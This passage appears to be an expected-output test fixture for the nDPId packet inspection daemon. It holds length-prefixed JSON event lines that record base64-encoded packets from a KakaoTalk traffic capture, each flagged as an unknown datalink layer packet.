packet","thread_id":0,"packet_id":2361,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":968604,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/m52AbDNgfrEUg1SapdrTlDMnFUw+TePrnqyScY26IWXn\/UolakEJaMZb8INOs0CcSF5lJpyUJ0DA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":980719,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/LViAbDNufrFJA1Sapdpz7QnbC0GBYBSD6aY9LXADkJbCemclTQuSTUi2Qa6VM15Wr+yezx7WJdEZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":983405,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/L6CAbDNhfrEYQ1SapdqiVOBlpn11bH3Gy8YB1vmDRQxVE4O1H8metwoBHoxtfcyIgXb+c4vF6uuL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":987220,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAGxH\/HgHJAa4KGFK8WgYoHABIE+yAbFDbi0G2mguGVRmlOxEKLYdg2rLd+9Q0aahAXk\/aKKpsrm+pDl\/0lqaQPb0UQ+CypmncKSnyK+dk0LT07R4t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069204,"pkt_ts_usec":999304,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABK58aAbFDci0G6WguGVRleqwWQpdMlJjGDrJxW7S4ZjxdR+VuY6rlRJlqXRLpFg6LH6SM9o2p9KZHzIXijd4qLKVzgpPA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":7300,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/yJ6AbDNifrEcA1Sapdps4FwlCKi6llxC71JNSgAKvnHIFCUcxQcI1doW74VlcwILWrTG\/Zp6pFvX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":15021,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqiXqByAAMC4ZVGehx8cHjdW3vi+gkXBtePKq\/tLALngmWQ4CQoPOzlaWrGJJ8rYwDKi5ON2WGsKqglUf7d2Uo6S0ApsBhbVEpv1uqrwNEMi55PemI+d6AAAAJQPYoQCM4F5V6qA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":17279,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLw76AbFDpi0HrGguGVRl2Gq\/tcVBY3TCRLjZKuLSv81fXLeLTl6v192z6l98LjlkAYQPVWF91dHElCLuhghshuih7MrfQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":23413,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/czqAbDNvfrFMw1Sapdq+ilGhi6F9zNjOIS4oZLfW0GZ6RFqTdcFjEhUbhitBYEIBl9mEno9tYZCS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":43250,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJJS+AbFDdi0G+GguGVRmg8pZs8hRZQFrxOIxrYca\/jud3GVrN1cuWifEGoOpQ5ereFGzofJDcR7GIoptmURQbgWc3zA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":47126,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJJ1KAbFDei0HB2guGVRkHLiklZGmT7P1R\/vPZz+pHA5y7q1tDsPSv+4JQyppDFk6XL+HPMy5gmvyIR8OBM5EWe4UzUA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":57227,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/DGWAbDNwfrFQg1SapdrfZC8rIh\/OS1wb9PFF1EZCoV55mxNcbAXa6S1h1ukWRxHcoD3uXt+FfyIo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":67145,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ZjOAbDNjfrEfw1SapdoRXohCYiOg2WoTOPHjK02\/OHEBZKALrjSvZyiDVoA8+Mbedm6GItZlPSAr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":71143,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/IJmAbDNkfrEjg1SapdqBtJxSNzubFVzv8TxC6C\/y4XES3vpgTTszV8CTjcGM3h6Ifj\/wbjAiwaYt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":83136,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGt5+AbDNlfrEnQ1SapdqD0ZYdCbVu+\/l5dwS7FZCqcIM1UbgyRdUMwd1kn7RUp9gsH2DscogTGNMW6EhssG6nGQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":91712,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEF7KAbFDfi0HFmguGVRlnJjYXUzynwI+hX6ViijIkLmbKrLd7NrQk08bLpCRJh09oyaG6FiRcMvLtqge7hew="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":112769,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGcAAEAAPxHbOwoYUrwByQGuLDhaBABTt1GAbFDqi0Hu2guGVRmOxzaU+3V8WwiVfaq2b+kbL67GMLH8gtZWWORO5Y65T7fZqeRf\/irPtp3YE77RqYC8YIybo+OxC88QCtsCxPA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":119483,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJIAAEAAPxHbEAoYUrwByQGuLDhaBAB+WOCAbFDri0HymguGVRnGJPkc5BoGgaNqJaH6h8QusGamrXI3pzjfyA5+1Di8dIDZbG3opz3cIqxeMMugHej\/x9taNAwVXJh1eI2RbNbEkpNasi2CUz5PrriuWp\/9PAbCtl5sp5+mKT8SFzeOpXUiIzsSrTNvi6iw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00797{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":147315,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV7ykkAALgb+tG5MjzIKGFK8Iynl6dfwq08taZdhgBgAMPV1AAABAQgKRNwK\/QAC1dcXAwEAIGTKUbGsA24bQReNSZgMjw68RVgCjpNHkbLZBsRv8EvkFwMBAQDCegNdSwYyF\/Kg2E3Nk+WueJOFN08DAHsVzTnkQa9NNTh0MVLdk+W8XzoCUOWJrb1DFvA2X1LJI\/0HqbruV2aPjOAzw91QTK156nuFSa1iU1JCVMRFBLbLBpwxbb9r0r5RIhQiWXH8TCXfHs2zw1ruWOzompsCBWpeD\/2PxBnqJrRuVFZe5VbqqRyBPpmxxn35ROoDTXh87tklzI6Qhd+aLx4Oz2IZfHPdfbowQSFPVxDfx71o9wjvNBQdQicsRn84Az6g1t0EuTxqQxk1uXoXBVnYaTuaPAXORMhZBGO2UkUUGG\/BwxlQWtnoORNFpD6Gga3YHp+i0LFBq90lRfRl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":147589,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKp0AAQAaVygoYUrxuTI8y5ekjKS1pl2HX8Kx5gBADYFp5AAABAQgKAALW8UTcCv0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":147650,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw6UAALwZAiG5MjzIKGFK8H5CAyJJ45\/v3EeHUgBAANYmjAAABAQgKRNwK\/QALTvo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00628{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":148261,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAN6w6kAALwY\/3W5MjzIKGFK8H5CAyJJ45\/v3EeHUgBgANXiDAAABAQgKRNwK\/QALTvoXAwEAIEpTR7wjsGeg5aEIKVbiQrOuFBH0moy5mlSwlcCpOsQBFwMBAICftBMqOyzVOiugAIydNPE+u8+ZcSpuI3MnMytAgOSje6bi0Rp\/a7+hlAcCBX8nlDKVsGcf5FYxAu97z+47AcmPF6ZUWM2+e6D+I6qCLu25lowfjOYlSJNlDpXrvaJfy6IbwpQQV8BEOqE4wa+ZGu6KDRw5fWkzmMTa1J9Q1fgYtA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":148780,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEYHCAbDNmfrErA1Sapdo0bVP7Qe9I7nh9lH+jaZpiRn30JcSoUTBa+ifI\/+zNLyumT0o8YDmEmaB0BhhjSyg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":150977,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn+UAAPwb5dwoYUrxuTI8ygMgfkPcR4dSSeOilgBAA6ogBAAABAQgKAAtPPUTcCv0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":159247,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDfxeAbFDgi0HJWguGVRnxPczybYVkajLuQCt37tcXrq2Ecti8Kcmmg1VBi1kmZGpbO+xXD4fCenRIQ4IgGA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":161627,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/+g2AbDNxfrFUQ1SapdpE1ZGK8L+bFEhJnP3AE+FpG109aTbRm9MnM1wPGpouNdby43wiFvb8BbTo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":171271,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABF4kOAbFDhi0HNGguGVRm4wO9eeJ1E\/E4cA4vdoSpbGxK\/Wz7pGUviiGLMcRYEC1ffD82TJbtBAsZnB3tq3aaL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":183325,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/wQiAbDNnfrEuw1SapdqRgsEGPm92Bco3JAn6jd2iKU9XPiMoQA2ixwN5BnL9D76g+0NKIfTFe2Et"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":189276,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN5KqEAAQAaVHwoYUrxuTI8y5ekjKS1pl2HX8Kx5gBgDYGfuAAABAQgKAALW9UTcCv0XAwEAIGwpgkcs4jDntveV2SVRFq1R1hFhA2B4Qa6cVKxb67OnFwMBAIDxM5epQhUkoIueNxLQKuNADbsW0zQD2MqycVYEnmIjOa4LWq3l04ktVLkwIiSw+jP4a5FbHrBq7IVjvAG9NB5IMtHdTDULdKXtzCMQQ9h84bbxfZhrxYB4O5dvOJyY\/sLBpHl20oiwP\/3CeMoiPJK+7LxVUbEK7BjKnBSlNeW\/8w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":198676,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/W4qAbDNyfrFYA1SapdpcabQ+e6bqXRmCz6heWG7EMT2pzOU43LDs7Mxt03VIXmZpEnBOtz\/VdvMf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":210425,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7bgSAbFDsi0H2WguGVRl5kSa7p52TMRQ8pkWA9J\/9cabhtMJkiuhzcStBbOt8az3\/j5sVVIhKPDV80WqT24a\/rj53m4Gk3wDsPrmPU3wnAc3TV1SF1GJAbKOPxkclwMAgkS9hIjTSP\/IwL3r71uWuBDpKrewW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":210517,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHBH93gHJAa4KGFK8WgYoHACIwoOAbFDii0HQ2guGVRkuv8+HQrXtrky6zwJE+VkZz9hpI3K3Ck37cwLlSDSGx0Joy4hn9OG0kr3la3pE4P9eGpuw9slrRDVGKwAvMJxcGhjiF6KF6cju3cDQ6WR7miJ1SWMHRtIo8FYDfHmqTJBIsFMhFojlRpF4rk3kPrP7jrESiQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":212317,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ4AAEAAPxHbBAoYUrwByQGuLDhaBACKTjmAbFDti0H6GguGVRmWqmJK4Jrgsmvg56u6tS3ua9zAhNZfdYCVjQjgkUhELfVU4bpKMr3OmbTa+0j36DUiBVgmpKF3+2ZhsKLzTouH5x7rozmVxU0PnMvAXi4Q9UIX9fkoIAHX1BMcWieMkaluaB7gIfgKOEECl8lHWA\/rMdIpYRIN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":243201,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL0AAEAAHBH9vQHJAa4KGFK8WgYoHACpZFmAbFDji0HUmguGVRnwh7SGV1id\/0oSsZAtkQzLkn\/CDsekcOHL3Zg2dGQD4FWbDptR+h5xGfmtAd5x9uYSlftQjlVCnb81HFXC19eHLXSx5BxzUMmGwGdwfy2gR168gsrgx4TZWWZV\/Ut3suRsgJspWTf71NZbPjidGntEbzkv5cYMXMTxqZ7EmtaNRK9S7uTp7Xi8PHUP1AdQLmkW851fnA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 